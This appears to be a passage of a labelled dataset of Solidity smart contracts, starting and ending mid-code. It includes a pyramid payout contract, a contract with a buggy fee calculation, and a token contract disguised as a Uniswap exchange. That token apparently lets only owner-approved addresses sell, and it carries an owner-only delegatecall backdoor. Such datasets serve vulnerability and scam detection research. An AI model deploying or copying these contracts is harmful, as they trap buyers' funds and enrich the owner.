_eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit ONEevents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require( msg.sender == 0x77234Cc4D6Cd3f12A0Cb861F524E51426E2f7045 || msg.sender == 0x994370290Ae614E752551551FD7e7B3E711Aa182 || msg.sender == 0x29b7DaF3B8591C53f0aBf2Ec69F617a1B6de6446 || msg.sender == 0x9D7587C04021Ab60754d7B84BC6874FCEF36Ffaf || msg.sender == 0xc4b4F19F22186a53c84C77A82181D7A102B35F96, "only team just can activate" ); require(activated_ == false, "fomo3d already activated"); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } function setOtherFomo(address _otherF3D) public { require( msg.sender == 0x77234Cc4D6Cd3f12A0Cb861F524E51426E2f7045 || msg.sender == 0x994370290Ae614E752551551FD7e7B3E711Aa182 || msg.sender == 0x29b7DaF3B8591C53f0aBf2Ec69F617a1B6de6446 || msg.sender == 0x9D7587C04021Ab60754d7B84BC6874FCEF36Ffaf || msg.sender == 0xc4b4F19F22186a53c84C77A82181D7A102B35F96, "only team just can activate" ); } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcLong { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface otherFoMo3D { function potSwap() external payable; } interface F3DexternalSettingsInterface { function getFastGap() external returns(uint256); function getLongGap() external returns(uint256); function getFastExtra() external returns(uint256); function getLongExtra() external returns(uint256); } interface OneForwarderInterface { function deposit() external payable returns(bool); } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
1
3,212
contract ShinySquirrels { uint private minDeposit = 10 finney; uint private maxDeposit = 5 ether; uint private baseFee = 5; uint private baseMultiplier = 100; uint private maxMultiplier = 160; uint private currentPosition = 0; uint private balance = 0; uint private feeBalance = 0; uint private totalDeposits = 0; uint private totalPaid = 0; uint private totalSquirrels = 0; uint private totalShinyThings = 0; uint private totalSprockets = 0; uint private totalStars = 0; uint private totalHearts = 0; uint private totalSkips = 0; address private owner = msg.sender; struct PlayerEntry { address addr; uint deposit; uint paid; uint multiplier; uint fee; uint skip; uint squirrels; uint shinyThings; uint sprockets; uint stars; uint hearts; } struct PlayerStat { address addr; uint entries; uint deposits; uint paid; uint skips; uint squirrels; uint shinyThings; uint sprockets; uint stars; uint hearts; } PlayerEntry[] private players; uint[] theLine; mapping(address => PlayerStat) private playerStats; function ShinySquirrels() { owner = msg.sender; } function totals() constant returns(uint playerCount, uint currentPlaceInLine, uint playersWaiting, uint totalDepositsInFinneys, uint totalPaidOutInFinneys, uint squirrelFriends, uint shinyThingsFound, uint sprocketsCollected, uint starsWon, uint heartsEarned, uint balanceInFinneys, uint feeBalanceInFinneys) { playerCount = players.length; currentPlaceInLine = currentPosition; playersWaiting = waitingForPayout(); totalDepositsInFinneys = totalDeposits / 1 finney; totalPaidOutInFinneys = totalPaid / 1 finney; squirrelFriends = totalSquirrels; shinyThingsFound = totalShinyThings; sprocketsCollected = totalSprockets; starsWon = totalStars; heartsEarned = totalHearts; balanceInFinneys = balance / 1 finney; feeBalanceInFinneys = feeBalance / 1 finney; } function settings() constant returns(uint minimumDepositInFinneys, uint maximumDepositInFinneys) { minimumDepositInFinneys = minDeposit / 1 finney; maximumDepositInFinneys = maxDeposit / 1 finney; } function playerByAddress(address addr) constant returns(uint entries, uint depositedInFinney, uint paidOutInFinney, uint skippedAhead, uint squirrels, uint shinyThings, uint sprockets, uint stars, uint hearts) { entries = playerStats[addr].entries; depositedInFinney = playerStats[addr].deposits / 1 finney; paidOutInFinney = playerStats[addr].paid / 1 finney; skippedAhead = playerStats[addr].skips; squirrels = playerStats[addr].squirrels; shinyThings = playerStats[addr].shinyThings; sprockets = playerStats[addr].sprockets; stars = playerStats[addr].stars; hearts = playerStats[addr].hearts; } function waitingForPayout() constant private returns(uint waiting) { waiting = players.length - currentPosition; } function entryPayout(uint index) constant private returns(uint payout) { payout = players[theLine[index]].deposit * players[theLine[index]].multiplier / 100; } function entryPayoutDue(uint index) constant private returns(uint payoutDue) { payoutDue = entryPayout(index) - players[theLine[index]].paid; } function lineOfPlayers(uint index) constant returns (address addr, uint orderJoined, uint depositInFinney, uint payoutInFinney, uint multiplierPercent, uint paid, uint skippedAhead, uint squirrels, uint shinyThings, uint sprockets, uint stars, uint hearts) { PlayerEntry player = players[theLine[index]]; addr = player.addr; orderJoined = theLine[index]; depositInFinney = player.deposit / 1 finney; payoutInFinney = depositInFinney * player.multiplier / 100; multiplierPercent = player.multiplier; paid = player.paid / 1 finney; skippedAhead = player.skip; squirrels = player.squirrels; shinyThings = player.shinyThings; sprockets = player.sprockets; stars = player.stars; hearts = player.hearts; } function () { play(); } function play() { uint deposit = msg.value; if(deposit < minDeposit || deposit > maxDeposit) { msg.sender.send(deposit); return; } uint multiplier = baseMultiplier; uint fee = baseFee; uint skip = 0; uint squirrels = 0; uint shinyThings = 0; uint sprockets = 0; uint stars = 0; uint hearts = 0; if(players.length % 5 == 0) { multiplier += 2; fee += 1; stars += 1; if(deposit < 1 ether) { multiplier -= multiplier >= 7 ? 7 : multiplier; fee -= fee >= 1 ? 1 : 0; shinyThings += 1; } if(deposit >= 1 && waitingForPayout() >= 10) { skip += 4; fee += 3; } if(deposit >= 2 ether && deposit <= 3 ether) { multiplier += 3; fee += 2; hearts += 1; } if(deposit >= 3 ether) { stars += 1; } } else if (players.length % 5 == 1) { multiplier += 4; fee += 2; squirrels += 1; if(deposit < 1 ether) { multiplier += 6; fee += 3; squirrels += 1; } if(deposit >= 2 ether) { if(waitingForPayout() >= 20) { skip += waitingForPayout() / 2; fee += 2; shinyThings += 1; } multiplier += 4; fee += 4; hearts += 1; } if(deposit >= 4 ether) { multiplier += 1; fee -= fee >= 1 ? 1 : 0; skip += 1; hearts += 1; stars += 1; } } else if (players.length % 5 == 2) { multiplier += 7; fee += 6; sprockets += 1; if(waitingForPayout() >= 10) { multiplier -= multiplier >= 8 ? 8 : multiplier; fee -= fee >= 1 ? 1 : 0; skip += 1; squirrels += 1; } if(deposit >= 3 ether) { multiplier += 2; skip += 1; stars += 1; shinyThings += 1; } if(deposit == maxDeposit) { multiplier += 2; skip += 1; hearts += 1; squirrels += 1; } } else if (players.length % 5 == 3) { multiplier -= multiplier >= 5 ? 5 : multiplier; fee += 0; skip += 3; shinyThings += 1; if(deposit < 1 ether) { multiplier -= multiplier >= 5 ? 5 : multiplier; fee += 2; skip += 5; squirrels += 1; } if(deposit == 1 ether) { multiplier += 10; fee += 4; skip += 2; hearts += 1; } if(deposit == maxDeposit) { multiplier += 1; fee += 5; skip += 1; sprockets += 1; stars += 1; hearts += 1; } } else if (players.length % 5 == 4) { multiplier += 2; fee -= fee >= 1 ? 1 : fee; squirrels += 1; if(deposit < 1 ether) { multiplier += 3; fee += 2; skip += 3; } if(deposit >= 2 ether) { multiplier += 2; fee += 2; skip += 1; stars += 1; } if(deposit == maxDeposit/2) { multiplier += 2; fee += 5; skip += 3; shinyThings += 1; sprockets += 1; } if(deposit >= 3 ether) { multiplier += 1; fee += 1; skip += 1; sprockets += 1; hearts += 1; } } playerStats[msg.sender].hearts += hearts; playerStats[msg.sender].stars += stars; playerStats[msg.sender].squirrels += squirrels; playerStats[msg.sender].shinyThings += shinyThings; playerStats[msg.sender].sprockets += sprockets; totalHearts += hearts; totalStars += stars; totalSquirrels += squirrels; totalShinyThings += shinyThings; totalSprockets += sprockets; skip += playerStats[msg.sender].squirrels; playerStats[msg.sender].squirrels -= playerStats[msg.sender].squirrels >= 1 ? 1 : 0; multiplier += playerStats[msg.sender].stars * 2; fee -= playerStats[msg.sender].hearts; multiplier += playerStats[msg.sender].sprockets; fee -= fee > playerStats[msg.sender].sprockets ? playerStats[msg.sender].sprockets : fee; if(playerStats[msg.sender].shinyThings >= 1) { skip += 1; fee -= fee >= 1 ? 1 : 0; } if(playerStats[msg.sender].hearts >= 1 && playerStats[msg.sender].stars >= 1 && playerStats[msg.sender].squirrels >= 1 && playerStats[msg.sender].shinyThings >= 1 && playerStats[msg.sender].sprockets >= 1) { multiplier += 30; } if(playerStats[msg.sender].hearts >= 1 && playerStats[msg.sender].stars >= 1) { multiplier += 15; playerStats[msg.sender].hearts -= 1; playerStats[msg.sender].stars -= 1; } if(playerStats[msg.sender].sprockets >= 1 && playerStats[msg.sender].shinyThings >= 1) { playerStats[msg.sender].squirrels += 5; playerStats[msg.sender].sprockets -= 1; playerStats[msg.sender].shinyThings -= 1; } if(multiplier > maxMultiplier) { multiplier == maxMultiplier; } if(waitingForPayout() > 15 && skip > waitingForPayout()/2) { skip = waitingForPayout() / 2; } feeBalance += deposit * fee / 100; balance += deposit - deposit * fee / 100; totalDeposits += deposit; uint playerIndex = players.length; players.length += 1; uint lineIndex = theLine.length; theLine.length += 1; (skip, lineIndex) = skipInLine(skip, lineIndex); players[playerIndex].addr = msg.sender; players[playerIndex].deposit = deposit; players[playerIndex].multiplier = multiplier; players[playerIndex].fee = fee; players[playerIndex].squirrels = squirrels; players[playerIndex].shinyThings = shinyThings; players[playerIndex].sprockets = sprockets; players[playerIndex].stars = stars; players[playerIndex].hearts = hearts; players[playerIndex].skip = skip; theLine[lineIndex] = playerIndex; playerStats[msg.sender].entries += 1; playerStats[msg.sender].deposits += deposit; playerStats[msg.sender].skips += skip; totalSkips += skip; uint nextPayout = entryPayoutDue(currentPosition); uint payout; while(balance > 0) { if(nextPayout <= balance) { payout = nextPayout; } else { payout = balance; } players[theLine[currentPosition]].addr.send(payout); players[theLine[currentPosition]].paid += payout; playerStats[players[theLine[currentPosition]].addr].paid += payout; balance -= payout; totalPaid += payout; if(balance > 0) { currentPosition++; nextPayout = entryPayoutDue(currentPosition); } } } function skipInLine(uint skip, uint currentLineIndex) private returns (uint skipped, uint newLineIndex) { if(skip > 0 && waitingForPayout() > 2) { if(skip > waitingForPayout()-2) { skip = waitingForPayout()-2; } uint i = 0; while(i < skip) { theLine[currentLineIndex-i] = theLine[currentLineIndex-1-i]; i++; } delete(theLine[currentLineIndex-i]); newLineIndex = currentLineIndex-i; } else { newLineIndex = currentLineIndex; skip = 0; } skipped = skip; } function DynamicPyramid() { playerStats[msg.sender].squirrels = 0; playerStats[msg.sender].shinyThings = 0; playerStats[msg.sender].sprockets = 0; playerStats[msg.sender].stars = 0; playerStats[msg.sender].hearts = 0; } function collectFees() { if(msg.sender != owner) { throw; } if(address(this).balance > balance + feeBalance) { feeBalance = address(this).balance - balance; } owner.send(feeBalance); feeBalance = 0; } function updateSettings(uint newMultiplier, uint newMaxMultiplier, uint newFee, uint newMinDeposit, uint newMaxDeposit, bool collect) { if(msg.sender != owner) throw; if(newMultiplier < 80 || newMultiplier > 120) throw; if(maxMultiplier < 125 || maxMultiplier > 200) throw; if(newFee < 0 || newFee > 15) throw; if(minDeposit < 1 finney || minDeposit > 1 ether) throw; if(maxDeposit < 1 finney || maxDeposit > 25 ether) throw; if(collect) collectFees(); baseMultiplier = newMultiplier; maxMultiplier = newMaxMultiplier; baseFee = newFee; minDeposit = newMinDeposit; maxDeposit = newMaxDeposit; } }
0
1,759
pragma solidity ^0.4.24; contract cryptodiamondwatch { string private ID; string private name; string private surname; string private comment; string private metadataURL; uint256 private nID=1; uint256 private amount; uint256 private unlockTime; address private tokenERC721Address; address private owner; address private cryptodiamondAddress; event Created(string _id, address _address); event InfoSetted(string _name, string _surname, string _comment); event OwnershipChanged(address _address, address _newOwner,string _comment); event Received(address _address ,uint _value); constructor(string _ID, address _tokenERC721Address)public{ ID = _ID; tokenERC721Address = _tokenERC721Address; cryptodiamondAddress = msg.sender; name = "not assigned yet"; surname = "not assigned yet"; comment = "not assigned yet"; unlockTime=0; amount=0; owner=msg.sender; emit Created(_ID,msg.sender); } modifier onlyOwner() { require (msg.sender == owner); _; } modifier onlyCryptodiamond() { require (msg.sender == cryptodiamondAddress); _; } modifier onlyToken() { require (msg.sender == tokenERC721Address); _; } function setInfo(string _name, string _surname, string _comment)public onlyCryptodiamond{ name = _name; surname = _surname; comment = _comment; } function fee(uint256 _amount,uint256 _fee) private returns(uint256){ uint256 calcFee; calcFee=(_fee*_amount)/100; return(_fee*amount/100); } function () public payable{ uint256 cFee = fee(msg.value,1); owner.transfer(msg.value-cFee); cryptodiamondAddress.transfer(cFee); emit Received(msg.sender,msg.value); } function ethIN() public payable onlyCryptodiamond{ amount+=msg.value; unlockTime=now+7889400; emit Received(msg.sender,msg.value); } function allEthOUT() public onlyOwner{ if(now>=unlockTime){ owner.transfer(amount); amount = 0; unlockTime = 0; } else revert(); } function transferOwnershipTo(address _newOwner, string _comment) external onlyToken{ require(_newOwner != address(0)); require(_newOwner != cryptodiamondAddress); emit OwnershipChanged(msg.sender,_newOwner,_comment); owner = _newOwner; } function getOwner() public constant returns (address){ return owner; } function getCryptodiamondAddress() public constant returns (address){ return cryptodiamondAddress; } function getID() public constant returns (string){ return ID; } function getNID() public constant returns (uint256){ return nID; } function getMetadataURL() public constant returns (string){ return metadataURL; } function getName() public constant returns (string){ return name; } function getSurname() public constant returns (string){ return surname; } function getUnlocktime() public constant returns (uint){ return unlockTime; } function getAmount() external constant returns (uint){ return amount; } }
1
4,568
pragma solidity ^0.4.21; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(a <= c); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(a >= b); return a - b; } } contract ContractReceiver { function tokenFallback(address from, uint256 value, bytes data) public; } contract AuctusToken { function transfer(address to, uint256 value) public returns (bool); } contract AuctusBountyDistribution is ContractReceiver { using SafeMath for uint256; address public auctusTokenAddress = 0xfD89de68b246eB3e21B06e9B65450AC28D222488; address public owner; uint256 public escrowedTokens; mapping(address => bool) public redeemed; event Escrow(address indexed from, uint256 value); event Redeem(address indexed to, uint256 value); function AuctusBountyDistribution() public { owner = msg.sender; } modifier onlyOwner() { require(owner == msg.sender); _; } modifier isValidMessage(uint256 value, uint256 timelimit, uint8 v, bytes32 r, bytes32 s) { require(owner == ecrecover(keccak256("\x19Ethereum Signed Message:\n32", keccak256(this, msg.sender, value, timelimit)), v, r, s)); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); owner = newOwner; } function tokenFallback(address from, uint256 value, bytes) public { require(msg.sender == auctusTokenAddress); escrowedTokens = escrowedTokens.add(value); emit Escrow(from, value); } function redeemBounty( uint256 value, uint256 timelimit, uint8 v, bytes32 r, bytes32 s ) isValidMessage(value, timelimit, v, r, s) public { require(timelimit >= now); require(!redeemed[msg.sender]); redeemed[msg.sender] = true; internalRedeem(msg.sender, value); } function forcedRedeem(address to, uint256 value) onlyOwner public { internalRedeem(to, value); } function internalRedeem(address to, uint256 value) private { escrowedTokens = escrowedTokens.sub(value); assert(AuctusToken(auctusTokenAddress).transfer(to, value)); emit Redeem(to, value); } }
1
4,422
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,724
pragma solidity 0.4.19; contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id); function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id); function getPrice(string _datasource) returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice); function useCoupon(string _coupon); function setProofType(byte _proofType); function setConfig(bytes32 _config); function setCustomGasPrice(uint _gasPrice); function randomDS_getSessionPubKeyHash() returns(bytes32); } contract OraclizeAddrResolverI { function getAddress() returns (address _addr); } contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Android = 0x20; byte constant proofType_Ledger = 0x30; byte constant proofType_Native = 0xF0; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto); if(address(oraclize) != OAR.getAddress()) oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); oraclize.useCoupon(code); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); oraclize_setNetworkName("eth_mainnet"); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); oraclize_setNetworkName("eth_ropsten3"); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); oraclize_setNetworkName("eth_kovan"); return true; } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); oraclize_setNetworkName("eth_rinkeby"); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return 